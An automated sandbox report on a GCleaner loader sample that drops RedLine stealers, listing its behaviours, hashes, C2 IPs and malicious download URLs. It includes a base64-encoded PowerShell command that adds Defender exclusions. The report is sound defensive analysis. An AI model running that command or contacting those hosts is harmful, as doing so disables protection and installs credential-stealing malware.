File name:

file

Full analysis: https://app.any.run/tasks/c2db61e3-8a25-4d45-ac64-d16981dc3466
Verdict: Malicious activity
Threats:

GCleaner is a type of malware loader that has the capability to deliver numerous malicious software programs, which differ based on the location of the targeted victim. This malware is commonly spread through fraudulent websites that advertise free PC optimization tools

Malware Trends Tracker     >>>
Analysis date: May 16, 2023, 13:51:35
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
opendir
loader
gcleaner
rat
redline
stealer
Indicators:
MIME: application/x-dosexec
File info: PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
MD5:

A738A33F882C7082A98B246126228895

SHA1:

0FB74E1CC79F64EB718B2CA2FD29495BAA064973

SHA256:

310374F06E4F91F3392B38DA586FCDF3F5183974DF9F9A4B37EDBA39B2AAB5B1

SSDEEP:

12288:XO8Z33ShEvoTOC4E2Htn2LLee2sCNOUFhqWXeTGtI3Tlv+5t3PwuZDUqPmQrvJ/c:jd+TkI3sPVUWKox2I2bti5I7dT

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • tySqfD (PID: 2576)
      • mYcJmV (PID: 3032)
      • CtZSy56Mz.exe (PID: 2244)
      • 109YUPDtq3o.exe (PID: 2972)
      • LoC3S.exe (PID: 2776)
      • yi32a.exe (PID: 2384)
      • kxodtekq.exe (PID: 900)
      • Hys88R.exe (PID: 1708)

    • GCLEANER detected by memory dumps

      • tySqfD (PID: 2576)

    • Connects to the CnC server

      • tySqfD (PID: 2576)
      • CtZSy56Mz.exe (PID: 2244)
      • RegSvcs.exe (PID: 2744)

    • GCLEANER was detected

      • tySqfD (PID: 2576)

    • REDLINE was detected

      • CtZSy56Mz.exe (PID: 2244)
      • RegSvcs.exe (PID: 2744)

    • Steals credentials from Web Browsers

      • 109YUPDtq3o.exe (PID: 2972)
      • RegSvcs.exe (PID: 2744)

    • Actions looks like stealing of personal data

      • CtZSy56Mz.exe (PID: 2244)
      • 109YUPDtq3o.exe (PID: 2972)
      • RegSvcs.exe (PID: 2744)

    • Steals credentials

      • 109YUPDtq3o.exe (PID: 2972)

    • Starts CMD.EXE for self-deleting

      • tySqfD (PID: 2576)

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 4052)
      • cmd.exe (PID: 4076)

  • SUSPICIOUS

    • Probably UAC bypass using CMSTP.exe (Connection Manager service profile)

      • file.exe (PID: 2468)

    • Reads the Internet Settings

      • AddInProcess32.exe (PID: 2640)
      • tySqfD (PID: 2576)
      • 109YUPDtq3o.exe (PID: 2972)
      • LoC3S.exe (PID: 2776)
      • RegSvcs.exe (PID: 2744)
      • AppLaunch.exe (PID: 99488)

    • Starts application with an unusual extension

      • AddInProcess32.exe (PID: 2640)

    • Executable content was dropped or overwritten

      • AddInProcess32.exe (PID: 2640)
      • mYcJmV (PID: 3032)
      • tySqfD (PID: 2576)
      • 109YUPDtq3o.exe (PID: 2972)
      • LoC3S.exe (PID: 2776)
      • AppLaunch.exe (PID: 99488)

    • Connects to the server without a host name

      • AddInProcess32.exe (PID: 2640)
      • tySqfD (PID: 2576)

    • Reads security settings of Internet Explorer

      • tySqfD (PID: 2576)
      • 109YUPDtq3o.exe (PID: 2972)
      • AddInProcess32.exe (PID: 2640)

    • Checks Windows Trust Settings

      • AddInProcess32.exe (PID: 2640)
      • tySqfD (PID: 2576)
      • 109YUPDtq3o.exe (PID: 2972)

    • Reads settings of System Certificates

      • AddInProcess32.exe (PID: 2640)
      • tySqfD (PID: 2576)
      • 109YUPDtq3o.exe (PID: 2972)
      • RegSvcs.exe (PID: 2744)
      • AppLaunch.exe (PID: 99488)

    • Process requests binary or script from the Internet

      • AddInProcess32.exe (PID: 2640)

    • Reads browser cookies

      • CtZSy56Mz.exe (PID: 2244)
      • RegSvcs.exe (PID: 2744)

    • Searches for installed software

      • CtZSy56Mz.exe (PID: 2244)
      • 109YUPDtq3o.exe (PID: 2972)
      • RegSvcs.exe (PID: 2744)

    • Connects to unusual port

      • CtZSy56Mz.exe (PID: 2244)
      • 109YUPDtq3o.exe (PID: 2972)
      • RegSvcs.exe (PID: 2744)

    • Process communicates with Telegram (possibly using it as an attacker's C2 server)

      • 109YUPDtq3o.exe (PID: 2972)

    • Starts CMD.EXE for commands execution

      • LoC3S.exe (PID: 2776)
      • cmd.exe (PID: 2380)
      • tySqfD (PID: 2576)
      • AppLaunch.exe (PID: 99488)

    • Executing commands from a ".bat" file

      • LoC3S.exe (PID: 2776)

    • Application launched itself

      • cmd.exe (PID: 2380)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 99916)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 99616)

    • Base64-obfuscated command line is found

      • cmd.exe (PID: 99616)

    • BASE64 encoded PowerShell command has been detected

      • cmd.exe (PID: 99616)

    • Uses powercfg.exe to modify the power settings

      • cmd.exe (PID: 99616)

    • The process creates files with name similar to system file names

      • AppLaunch.exe (PID: 99488)

    • Drops a system driver (possible attempt to evade defenses)

      • AppLaunch.exe (PID: 99488)

  • INFO

    • The process checks LSA protection

      • dllhost.exe (PID: 2652)
      • AddInProcess32.exe (PID: 2640)
      • file.exe (PID: 2468)
      • cmstp.exe (PID: 2692)
      • tySqfD (PID: 2576)
      • CtZSy56Mz.exe (PID: 2244)
      • 109YUPDtq3o.exe (PID: 2972)
      • LoC3S.exe (PID: 2776)
      • RegSvcs.exe (PID: 2744)
      • taskkill.exe (PID: 100192)
      • AppLaunch.exe (PID: 99488)

    • Checks supported languages

      • AddInProcess32.exe (PID: 2640)
      • file.exe (PID: 2468)
      • tySqfD (PID: 2576)
      • mYcJmV (PID: 3032)
      • CtZSy56Mz.exe (PID: 2244)
      • 109YUPDtq3o.exe (PID: 2972)
      • LoC3S.exe (PID: 2776)
      • kxodtekq.exe (PID: 900)
      • yi32a.exe (PID: 2384)
      • RegSvcs.exe (PID: 2744)
      • Hys88R.exe (PID: 1708)
      • RegSvcs.exe (PID: 316)
      • AppLaunch.exe (PID: 99488)

    • Reads the machine GUID from the registry

      • file.exe (PID: 2468)
      • AddInProcess32.exe (PID: 2640)
      • tySqfD (PID: 2576)
      • CtZSy56Mz.exe (PID: 2244)
      • 109YUPDtq3o.exe (PID: 2972)
      • RegSvcs.exe (PID: 2744)
      • AppLaunch.exe (PID: 99488)

    • Creates files or folders in the user directory

      • AddInProcess32.exe (PID: 2640)
      • tySqfD (PID: 2576)
      • 109YUPDtq3o.exe (PID: 2972)

    • Checks proxy server information

      • AddInProcess32.exe (PID: 2640)
      • tySqfD (PID: 2576)
      • 109YUPDtq3o.exe (PID: 2972)

    • Create files in a temporary directory

      • AddInProcess32.exe (PID: 2640)
      • mYcJmV (PID: 3032)
      • LoC3S.exe (PID: 2776)
      • powershell.exe (PID: 1824)
      • AppLaunch.exe (PID: 99488)

    • Reads the computer name

      • tySqfD (PID: 2576)
      • file.exe (PID: 2468)
      • AddInProcess32.exe (PID: 2640)
      • 109YUPDtq3o.exe (PID: 2972)
      • LoC3S.exe (PID: 2776)
      • RegSvcs.exe (PID: 2744)
      • Hys88R.exe (PID: 1708)
      • AppLaunch.exe (PID: 99488)
      • CtZSy56Mz.exe (PID: 2244)

    • Reads Environment values

      • CtZSy56Mz.exe (PID: 2244)
      • 109YUPDtq3o.exe (PID: 2972)
      • RegSvcs.exe (PID: 2744)
      • AppLaunch.exe (PID: 99488)

    • Creates files in the program directory

      • 109YUPDtq3o.exe (PID: 2972)
      • AppLaunch.exe (PID: 99488)

    • The executable file from the user directory is run by the CMD process

      • yi32a.exe (PID: 2384)
      • kxodtekq.exe (PID: 900)

    • Reads product name

      • 109YUPDtq3o.exe (PID: 2972)

    • Reads CPU info

      • 109YUPDtq3o.exe (PID: 2972)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

GCleaner

(PID) Process(2576) tySqfD
C2 (3)45.12.253.564
5.12.253.724
5.12.253.98
No Malware configuration.

TRiD

.exe | Generic Win/DOS Executable (50)
.exe | DOS Executable Generic (49.9)

EXIF

EXE

AssemblyVersion: 1.0.0.0
ProductVersion: 1.0.0.0
ProductName: OpenPoppy
OriginalFileName: OpenPoppy.exe
LegalTrademarks: -
LegalCopyright: Copyright © 2014
InternalName: OpenPoppy.exe
FileVersion: 1.0.0.0
FileDescription: OpenPoppy
CompanyName: -
Comments: -
CharacterSet: Unicode
LanguageCode: Neutral
FileSubtype: -
ObjectFileType: Executable application
FileOS: Win32
FileFlags: (none)
FileFlagsMask: 0x003f
ProductVersionNumber: 1.0.0.0
FileVersionNumber: 1.0.0.0
Subsystem: Windows GUI
SubsystemVersion: 4
ImageVersion: -
OSVersion: 4
EntryPoint: 0x0000
UninitializedDataSize: -
InitializedDataSize: 884
CodeSize: 1525712
LinkerVersion: 48
PEType: PE32+
ImageFileCharacteristics: Executable, Large address aware
TimeStamp: 2023:05:13 14:39:47+00:00
MachineType: AMD AMD64

Summary

Architecture: IMAGE_FILE_MACHINE_AMD64
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 13-May-2023 14:39:47
Comments: -
CompanyName: -
FileDescription: OpenPoppy
FileVersion: 1.0.0.0
InternalName: OpenPoppy.exe
LegalCopyright: Copyright © 2014
LegalTrademarks: -
OriginalFilename: OpenPoppy.exe
ProductName: OpenPoppy
ProductVersion: 1.0.0.0
Assembly Version: 1.0.0.0

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000080

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_AMD64
Number of sections: 2
Time date stamp: 13-May-2023 14:39:47
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00F0
Characteristics:
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_LARGE_ADDRESS_AWARE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00002000
0x001747D0
0x00174800
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
4.83568
.rsrc
0x00178000
0x00000374
0x00000400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
2.81067

Resources

Title
Entropy
Size
Codepage
Language
Type
1
3.26796
796
UNKNOWN
UNKNOWN
RT_VERSION
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
89
Monitored processes
46
Malicious processes
12
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start drop and start drop and start drop and start file.exe no specs cmstp.exe no specs smsvchost.exe no specs ilasm.exe no specs installutil.exe no specs msbuild.exe no specs setuputility.exe no specs regasm.exe no specs aspnet_wp.exe no specs applaunch.exe no specs caspol.exe no specs regsvcs.exe no specs aspnet_regsql.exe no specs aspnet_state.exe no specs regtlibv12.exe no specs addinprocess.exe no specs addinprocess32.exe CMSTPLUA no specs #GCLEANER tysqfd mycjmv #REDLINE ctzsy56mz.exe 109yupdtq3o.exe loc3s.exe cmd.exe no specs cmd.exe no specs kxodtekq.exe yi32a.exe #REDLINE regsvcs.exe hys88r.exe no specs regsvcs.exe no specs regsvcs.exe no specs regsvcs.exe no specs applaunch.exe cmd.exe no specs taskkill.exe no specs cmd.exe no specs powershell.exe no specs powercfg.exe no specs powercfg.exe no specs powercfg.exe no specs powercfg.exe no specs powercfg.exe no specs cmd.exe no specs cmd.exe no specs schtasks.exe no specs schtasks.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
316"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe—kxodtekq.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Services Installation Utility
Exit code:
0
Version:
4.7.2558.0 built by: NET471REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\regsvcs.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
764"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe—file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Exit code:
4294967295
Version:
4.7.2558.0 built by: NET471REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\msbuild.exe
c:\windows\system32\ntdll.dll
900"kxodtekq.exe" C:\Users\admin\AppData\Local\Temp\RarSFX0\kxodtekq.exe
cmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\rarsfx0\kxodtekq.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
992"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ilasm.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ilasm.exe—file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Framework IL assembler
Exit code:
4294967295
Version:
4.7.2558.0 built by: NET471REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\ilasm.exe
c:\windows\system32\ntdll.dll
1200"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe—file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Assembly Registration Utility
Exit code:
4294967295
Version:
4.7.2558.0 built by: NET471REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\regasm.exe
c:\windows\system32\ntdll.dll
1708"C:\Users\admin\AppData\Roaming\HrqTwp3\Hys88R.exe"C:\Users\admin\AppData\Roaming\HrqTwp3\Hys88R.exe—tySqfD
User:
admin
Integrity Level:
MEDIUM
Description:
Gcleanerapp
Exit code:
0
Version:
1.0.0.0
Modules
Images
c:\users\admin\appdata\roaming\hrqtwp3\hys88r.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shlwapi.dll
1824powershell -EncodedCommand "PAAjAHAAVAAwAE4AQgBNAHgAeABBAHQAMAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAcAAwADYAcABHAEMAMQAwADgAdAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBZADgAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbgAzAFkAYwBkAEsAIwA+AA==" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
2000"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe—file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
.NET Framework installation utility
Exit code:
4294967295
Version:
4.7.2558.0 built by: NET471REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\installutil.exe
c:\windows\system32\ntdll.dll
2140"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SetupCache\v4.7.02558\SetupUtility.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SetupCache\v4.7.02558\SetupUtility.exe—file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Framework 4.5 Setup
Exit code:
3221226540
Version:
14.7.2558.0 built by: NET471REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\setupcache\v4.7.02558\setuputility.exe
c:\windows\system32\ntdll.dll
2164"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe—file.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
aspnet_wp.exe
Exit code:
4294967295
Version:
4.7.2558.0 built by: NET471REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\aspnet_wp.exe
c:\windows\system32\ntdll.dll
Total events
7 423
Read events
7 349
Write events
74
Delete events
0

Modification events

(PID) Process:(2640) AddInProcess32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(2640) AddInProcess32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:writeName:SavedLegacySettings
Value:
460000008B000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(2640) AddInProcess32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2640) AddInProcess32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2640) AddInProcess32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2640) AddInProcess32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2640) AddInProcess32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(2640) AddInProcess32.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(2576) tySqfDKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(2576) tySqfDKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:writeName:SavedLegacySettings
Value:
460000008C000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Executable files
25
Suspicious files
16
Text files
11
Unknown types
0

Dropped files

PID
Process
Filename
Type
2640AddInProcess32.exeC:\Users\admin\AppData\Local\Temp\OmJmMCwlLWlaNREKnC\tySqfDtext
MD5:65C647B11D071E6976B256034D7897A8
SHA256:9D300E38C5854FCBD8CAF23BCF1F7255240ECF2A7CDBF2ABFCC61D0AEE534D88
2640AddInProcess32.exeC:\Users\admin\AppData\Local\Temp\EQsapRVCTxcrseSSWS\mYcJmVtext
MD5:65C647B11D071E6976B256034D7897A8
SHA256:9D300E38C5854FCBD8CAF23BCF1F7255240ECF2A7CDBF2ABFCC61D0AEE534D88
2576tySqfDC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D2U1WPAC\JH64O0BT.jsonbinary
MD5:620D1CF81D338DBCA09C5ABBB676A654
SHA256:8970469FDC1D858EC3E1DE66B89FF0BA164758C1373C4CCD4ADD0C98B223905E
3032mYcJmVC:\Users\admin\AppData\Local\Temp\Opera_installer_2305161352429733032.dllexecutable
MD5:2EDA2ADB4F61531F55FD51BBD9C2535B
SHA256:74141DA9D59BD52DBD5B5C17FD6D8CC1FF44D7E4D7CD2C6F912562361B398742
2640AddInProcess32.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BDW1XBVN\setup[1].exeexecutable
MD5:5A9E75A3A28A65363AB7E58F3EA8E785
SHA256:0118948D17AAB89C166DCCD04EBD0E6DF16676ABCDE79C2E69D5280D3C7B6110
2640AddInProcess32.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D2U1WPAC\windows[1].htmhtml
MD5:4F8E702CC244EC5D4DE32740C0ECBD97
SHA256:9E17CB15DD75BBBD5DBB984EDA674863C3B10AB72613CF8A39A00C3E11A8492A
2468file.exeC:\windows\temp\wjqaktqa.inftext
MD5:2F5F7413201ED7CF31428E1443BD524D
SHA256:0BBCB1B246B1BF3B39A193142B2A775D78DA0213BC3811C14FEE73E7B1487681
2640AddInProcess32.exeC:\Users\admin\AppData\Local\Temp\pjOpkWvXRVlNNdbusN\Wehuxgtext
MD5:65C647B11D071E6976B256034D7897A8
SHA256:9D300E38C5854FCBD8CAF23BCF1F7255240ECF2A7CDBF2ABFCC61D0AEE534D88
2972109YUPDtq3o.exeC:\ProgramData\54358114263659853270504254 —
MD5:—
SHA256:—
2576tySqfDC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HQYU0XHJ\stuk[1].htmtext
MD5:C0236A8F8EB0411CC373CD432E252990
SHA256:375CD2A305050C0ECDC8EF9A417194DB2955F3C99B04C76F1B2CD5A88369A242
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
17
TCP/UDP connections
29
DNS requests
13
Threats
252

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2640
AddInProcess32.exe
HEAD
200
109.206.241.33:80
http://109.206.241.33/files/2EU.config.CfgEncFile
US
—
—
malicious
2576
tySqfD
GET
301
104.26.1.226:80
http://api.country.is/
US
—
—
malicious
2640
AddInProcess32.exe
GET
—
195.179.239.150:80
http://globalmanysoft.com/wp-content/uploads/2023/05/Output.exe
DE
—
—
unknown
2640
AddInProcess32.exe
GET
206
109.206.241.33:80
http://109.206.241.33/files/2EU.config.CfgEncFile
US
binary
2.10 Kb
malicious
2640
AddInProcess32.exe
GET
301
185.26.182.112:80
http://net.geo.opera.com/opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767
unknown
html
162 b
whitelisted
2576
tySqfD
GET
200
45.12.253.75:80
http://45.12.253.75/dll.php
BG
executable
361 Kb
malicious
2576
tySqfD
GET
200
45.12.253.56:80
http://45.12.253.56/advertisting/plus.php?s=NOSUB&str=mixone&substr=mixtwo
BG
binary
1 b
malicious
2576
tySqfD
GET
200
45.12.253.75:80
http://45.12.253.75/dll.php
BG
executable
4.50 Kb
malicious
2576
tySqfD
GET
200
45.12.253.72:80
http://45.12.253.72/default/stuk.php
BG
text
21 b
malicious
2972
109YUPDtq3o.exe
GET
200
167.235.199.208:8333
http://167.235.199.208:8333/8a317397aaef2adca4fbd91afb9328e7
DE
text
100 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
328
svchost.exe
224.0.0.252:5355
—
—
—
unknown
2640
AddInProcess32.exe
45.12.253.74:80
—
VNET a.s.
BG
malicious
2640
AddInProcess32.exe
109.206.241.33:80
—
Delis LLC
US
malicious
2640
AddInProcess32.exe
185.26.182.112:443
net.geo.opera.com
Opera Software AS
—
malicious
2640
AddInProcess32.exe
195.179.239.150:80
globalmanysoft.com
Hostinger International Limited
DE
unknown
2576
tySqfD
104.26.1.226:443
api.country.is
CLOUDFLARENET
US
unknown
2576
tySqfD
104.26.1.226:80
api.country.is
CLOUDFLARENET
US
unknown
2576
tySqfD
208.95.112.1:80
ip-api.com
TUT-AS
US
malicious
2576
tySqfD
45.12.253.56:80
—
VNET a.s.
BG
malicious

DNS requests

Domain
IP
Reputation
api.country.is
  • 172.67.75.199
  • 104.26.0.226
  • 104.26.1.226
malicious
dns.msftncsi.com
  • 131.107.255.255
shared
net.geo.opera.com
  • 185.26.182.112
  • 185.26.182.111
whitelisted
globalmanysoft.com
  • 195.179.239.150
unknown
ip-api.com
  • 208.95.112.1
malicious
t.me
  • 149.154.167.99
whitelisted
lodar2ben.top
  • —
malicious
api.ip.sb
  • 104.26.13.31
  • 104.26.12.31
  • 172.67.75.172
whitelisted
pastebin.com
  • 172.67.34.170
  • 104.20.68.143
  • 104.20.67.143
malicious
github.com
  • 140.82.121.3
malicious

Threats

PID
Process
Class
Message
2640
AddInProcess32.exe
Potentially Bad Traffic
ET USER_AGENTS Observed Suspicious UA (Chrome)
2640
AddInProcess32.exe
Potentially Bad Traffic
ET USER_AGENTS Observed Suspicious UA (Chrome)
2640
AddInProcess32.exe
A Network Trojan was detected
LOADER [ANY.RUN] GCleaner
2640
AddInProcess32.exe
A Network Trojan was detected
ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1
2640
AddInProcess32.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2640
AddInProcess32.exe
A Network Trojan was detected
ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2
2640
AddInProcess32.exe
A Network Trojan was detected
ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2
2640
AddInProcess32.exe
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
2640
AddInProcess32.exe
Misc activity
ET INFO EXE - Served Attached HTTP
2640
AddInProcess32.exe
Generic Protocol Command Decode
SURICATA STREAM FIN out of window
3 ETPRO signatures available at the full report
No debug info